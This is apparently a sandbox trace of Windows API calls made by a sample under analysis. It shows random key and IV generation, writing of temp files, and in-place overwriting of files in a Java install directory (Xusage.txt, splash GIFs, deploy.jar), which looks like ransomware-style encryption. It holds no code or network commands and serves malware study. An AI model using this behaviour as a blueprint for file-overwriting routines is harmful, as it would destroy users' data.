	[0244.778] ReadFile (in: hFile=0x120, lpBuffer=0xc00007a000, nNumberOfBytesToRead=0x78f, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc00007a000*, lpNumberOfBytesRead=0xc0001e3b04*=0x58f, lpOverlapped=0x0) returned 1
	[0244.816] ReadFile (in: hFile=0x120, lpBuffer=0xc00007a58f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc00007a58f*, lpNumberOfBytesRead=0xc0001e3b04*=0x0, lpOverlapped=0x0) returned 1
	[0244.816] CloseHandle (hObject=0x120) returned 1
	[0244.816] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000eca0 | out: pbBuffer=0xc00000eca0) returned 1
	[0244.816] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c8c0 | out: pbBuffer=0xc00028c8c0) returned 1
	[0244.816] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b7201 | out: pbBuffer=0xc0001b7201) returned 1
	[0244.817] VirtualAlloc (lpAddress=0xc000286000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000286000
	[0244.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0244.818] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0244.818] GetFileType (hFile=0x120) returned 0x1
	[0244.818] VirtualAlloc (lpAddress=0xc00028a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028a000
	[0244.819] WriteFile (in: hFile=0x120, lpBuffer=0xc000286000*, nNumberOfBytesToWrite=0x68f, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc000286000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x68f, lpOverlapped=0x0) returned 1
	[0244.820] CloseHandle (hObject=0x120) returned 1
	[0244.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0244.824] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0244.824] GetFileType (hFile=0x120) returned 0x1
	[0244.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0244.825] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0244.825] GetFileType (hFile=0x1a8) returned 0x1
	[0244.825] VirtualAlloc (lpAddress=0xc00028e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028e000
	[0244.827] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x68f, lpOverlapped=0x0) returned 1
	[0244.827] WriteFile (in: hFile=0x120, lpBuffer=0xc00028e000*, nNumberOfBytesToWrite=0x68f, lpNumberOfBytesWritten=0xc0001e3b74, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesWritten=0xc0001e3b74*=0x68f, lpOverlapped=0x0) returned 1
	[0244.829] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x0, lpOverlapped=0x0) returned 1
	[0244.829] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e")) returned 0
	[0244.830] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e")) returned 0
	[0244.830] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e")) returned 0x20
	[0244.830] CloseHandle (hObject=0x1a8) returned 1
	[0244.830] CloseHandle (hObject=0x120) returned 1
	[0244.831] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e7b92dfd0910fa49c7eed284933f6d7e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e7b92dfd0910fa49c7eed284933f6d7e")) returned 1
	[0244.833] SetEvent (hEvent=0x190) returned 1
	[0244.833] SetEvent (hEvent=0x17c) returned 1
	[0244.833] VirtualFree (lpAddress=0xc0007c4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.833] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.928] SetEvent (hEvent=0x190) returned 1
	[0244.929] VirtualFree (lpAddress=0xc0007ba000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.929] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.966] SetEvent (hEvent=0x17c) returned 1
	[0244.966] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.971] SetEvent (hEvent=0xf0) returned 1
	[0244.971] SetEvent (hEvent=0x188) returned 1
	[0244.971] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.044] VirtualFree (lpAddress=0xc0004f2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.044] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.063] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.090] SetEvent (hEvent=0x190) returned 1
	[0245.090] SwitchToThread () returned 1
	[0245.110] SetEvent (hEvent=0xd4) returned 1
	[0245.110] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.139] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.231] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.313] VirtualFree (lpAddress=0xc000520000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.314] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.422] SetEvent (hEvent=0xd4) returned 1
	[0245.422] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.555] SwitchToThread () returned 1
	[0245.571] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.727] VirtualAlloc (lpAddress=0xc0002c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c8000
	[0245.728] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e320 | out: pbBuffer=0xc00000e320) returned 1
	[0245.728] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000101b0 | out: pbBuffer=0xc0000101b0) returned 1
	[0245.728] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000701 | out: pbBuffer=0xc000000701) returned 1
	[0245.728] VirtualAlloc (lpAddress=0xc0002ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ca000
	[0245.729] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.765] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0245.765] GetFileType (hFile=0x120) returned 0x1
	[0245.765] WriteFile (in: hFile=0x120, lpBuffer=0xc00009e000*, nNumberOfBytesToWrite=0x1f7d, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc00009e000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x1f7d, lpOverlapped=0x0) returned 1
	[0245.767] CloseHandle (hObject=0x120) returned 1
	[0245.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.770] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0245.770] GetFileType (hFile=0x120) returned 0x1
	[0245.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0245.770] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0245.770] GetFileType (hFile=0x1ac) returned 0x1
	[0245.771] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00012e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00012e000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x1f7d, lpOverlapped=0x0) returned 1
	[0245.771] WriteFile (in: hFile=0x120, lpBuffer=0xc00012e000*, nNumberOfBytesToWrite=0x1f7d, lpNumberOfBytesWritten=0xc0001e3b74, lpOverlapped=0x0 | out: lpBuffer=0xc00012e000*, lpNumberOfBytesWritten=0xc0001e3b74*=0x1f7d, lpOverlapped=0x0) returned 1
	[0245.773] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00012e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00012e000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x0, lpOverlapped=0x0) returned 1
	[0245.774] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f")) returned 0
	[0245.774] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f")) returned 0
	[0245.774] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f")) returned 0x20
	[0245.774] CloseHandle (hObject=0x1ac) returned 1
	[0245.774] CloseHandle (hObject=0x120) returned 1
	[0245.775] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b70f927ad7af265746f75cea5e32c9f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b70f927ad7af265746f75cea5e32c9f")) returned 1
	[0245.777] SwitchToThread () returned 1
	[0245.782] SetEvent (hEvent=0x190) returned 1
	[0245.782] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e440 | out: pbBuffer=0xc00000e440) returned 1
	[0245.782] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010290 | out: pbBuffer=0xc000010290) returned 1
	[0245.782] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000b01 | out: pbBuffer=0xc000000b01) returned 1
	[0245.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0245.783] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5c04 | out: lpMode=0xc0000c5c04) returned 0
	[0245.783] GetFileType (hFile=0x1ac) returned 0x1
	[0245.783] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000136000*, nNumberOfBytesToWrite=0x30da, lpNumberOfBytesWritten=0xc0000c5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000136000*, lpNumberOfBytesWritten=0xc0000c5bec*=0x30da, lpOverlapped=0x0) returned 1
	[0245.785] CloseHandle (hObject=0x1ac) returned 1
	[0245.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0245.794] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0245.794] GetFileType (hFile=0x1ac) returned 0x1
	[0245.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0245.794] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0245.795] GetFileType (hFile=0x19c) returned 0x1
	[0245.795] ReadFile (in: hFile=0x19c, lpBuffer=0xc000140000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000140000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x30da, lpOverlapped=0x0) returned 1
	[0245.795] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000140000*, nNumberOfBytesToWrite=0x30da, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000140000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x30da, lpOverlapped=0x0) returned 1
	[0245.796] ReadFile (in: hFile=0x19c, lpBuffer=0xc000140000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000140000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0245.796] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e")) returned 0
	[0245.797] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e")) returned 0
	[0245.797] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e")) returned 0x20
	[0245.797] CloseHandle (hObject=0x19c) returned 1
	[0245.797] CloseHandle (hObject=0x1ac) returned 1
	[0245.798] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2744abafb87aab81cc5c2e26db77b02e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2744abafb87aab81cc5c2e26db77b02e")) returned 1
	[0245.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), fInfoLevelId=0x0, lpFileInformation=0xc00020f790 | out: lpFileInformation=0xc00020f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de)) returned 1
	[0245.849] SetEvent (hEvent=0x190) returned 1
	[0245.849] VirtualFree (lpAddress=0xc000514000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.850] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0246.233] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0246.233] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0246.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0246.233] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001e3bf4 | out: lpMode=0xc0001e3bf4) returned 0
	[0246.233] GetFileType (hFile=0x1ac) returned 0x1
	[0246.234] GetFileType (hFile=0x1ac) returned 0x1
	[0246.234] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0001e3c44 | out: lpFileInformation=0xc0001e3c44) returned 1
	[0246.234] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0001e3c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e3c28) returned 1
	[0246.234] VirtualAlloc (lpAddress=0xc000c00000, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000c00000
	[0246.236] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebd90000
	[0246.236] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebdc0000
	[0246.237] VirtualFree (lpAddress=0xc000800000, dwSize=0x12000, dwFreeType=0x4000) returned 1
	[0246.238] VirtualFree (lpAddress=0xc00052c000, dwSize=0x2d4000, dwFreeType=0x4000) returned 1
	[0246.287] VirtualFree (lpAddress=0xc0004f8000, dwSize=0x1a000, dwFreeType=0x4000) returned 1
	[0246.288] VirtualFree (lpAddress=0xc0004f0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.289] VirtualFree (lpAddress=0xc000434000, dwSize=0xb8000, dwFreeType=0x4000) returned 1
	[0246.298] VirtualFree (lpAddress=0xc000426000, dwSize=0x6000, dwFreeType=0x4000) returned 1
	[0246.298] VirtualFree (lpAddress=0xc000422000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.298] VirtualFree (lpAddress=0xc000400000, dwSize=0x1e000, dwFreeType=0x4000) returned 1
	[0246.300] VirtualFree (lpAddress=0xc0003ea000, dwSize=0x16000, dwFreeType=0x4000) returned 1
	[0246.301] VirtualFree (lpAddress=0xc000368000, dwSize=0x5c000, dwFreeType=0x4000) returned 1
	[0246.306] VirtualFree (lpAddress=0xc000346000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.306] VirtualFree (lpAddress=0xc000330000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.306] VirtualFree (lpAddress=0xc000322000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.307] VirtualFree (lpAddress=0xc0002ce000, dwSize=0x52000, dwFreeType=0x4000) returned 1
	[0246.310] VirtualFree (lpAddress=0xc0002b6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.311] VirtualFree (lpAddress=0xc0002a2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.311] VirtualFree (lpAddress=0xc00029a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.311] VirtualFree (lpAddress=0xc00028e000, dwSize=0xa000, dwFreeType=0x4000) returned 1
	[0246.312] VirtualFree (lpAddress=0xc000284000, dwSize=0x6000, dwFreeType=0x4000) returned 1
	[0246.312] VirtualFree (lpAddress=0xc000272000, dwSize=0xc000, dwFreeType=0x4000) returned 1
	[0246.313] VirtualFree (lpAddress=0xc00024a000, dwSize=0x24000, dwFreeType=0x4000) returned 1
	[0246.315] VirtualFree (lpAddress=0xc000246000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.315] VirtualFree (lpAddress=0xc00023e000, dwSize=0x6000, dwFreeType=0x4000) returned 1
	[0246.316] VirtualFree (lpAddress=0xc000238000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.316] VirtualFree (lpAddress=0xc000234000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.316] VirtualFree (lpAddress=0xc000230000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.317] VirtualFree (lpAddress=0xc000228000, dwSize=0x6000, dwFreeType=0x4000) returned 1
	[0246.317] VirtualFree (lpAddress=0xc00021e000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0246.318] VirtualFree (lpAddress=0xc0001fe000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.318] VirtualFree (lpAddress=0xc0001fa000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.318] VirtualFree (lpAddress=0xc0001f6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.319] VirtualFree (lpAddress=0xc0001ea000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.319] VirtualFree (lpAddress=0xc0001e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0246.319] VirtualFree (lpAddress=0xc0001d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0246.320] VirtualFree (lpAddress=0xc00018c000, dwSize=0x42000, dwFreeType=0x4000) returned 1
	[0246.331] VirtualFree (lpAddress=0xc000178000, dwSize=0x12000, dwFreeType=0x4000) returned 1
	[0246.333] VirtualFree (lpAddress=0xc000106000, dwSize=0x14000, dwFreeType=0x4000) returned 1
	[0246.334] VirtualFree (lpAddress=0xc000100000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0246.334] VirtualFree (lpAddress=0xc0000f4000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0246.335] VirtualFree (lpAddress=0xc0000b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0246.335] VirtualFree (lpAddress=0xc00007e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.335] VirtualFree (lpAddress=0xc00006a000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0246.336] VirtualFree (lpAddress=0xc000060000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.336] VirtualFree (lpAddress=0xc000054000, dwSize=0x6000, dwFreeType=0x4000) returned 1
	[0246.337] VirtualFree (lpAddress=0xc00004a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.337] VirtualFree (lpAddress=0xc000044000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.337] VirtualFree (lpAddress=0xc00003e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.337] VirtualFree (lpAddress=0xc000038000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0246.338] SetEvent (hEvent=0x1a0) returned 1
	[0246.338] VirtualAlloc (lpAddress=0xc000af8000, dwSize=0x4d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.338] VirtualAlloc (lpAddress=0xc000af8000, dwSize=0x4d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.338] VirtualAlloc (lpAddress=0xc000af8000, dwSize=0x268000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.338] VirtualAlloc (lpAddress=0xc000af8000, dwSize=0x134000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.339] VirtualAlloc (lpAddress=0xc000af8000, dwSize=0x9a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000af8000
	[0246.342] VirtualAlloc (lpAddress=0xc000b92000, dwSize=0x436000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.342] VirtualAlloc (lpAddress=0xc000b92000, dwSize=0x21b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.342] VirtualAlloc (lpAddress=0xc000b92000, dwSize=0x10d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.342] VirtualAlloc (lpAddress=0xc000b92000, dwSize=0x86000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.342] VirtualAlloc (lpAddress=0xc000b92000, dwSize=0x43000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000b92000
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0x3f3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0x1f9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0xfc000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0x7e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0x3f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.344] VirtualAlloc (lpAddress=0xc000bd5000, dwSize=0x1f000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000bd5000
	[0246.345] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x3d4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x1ea000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0xf5000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x7a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x3d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
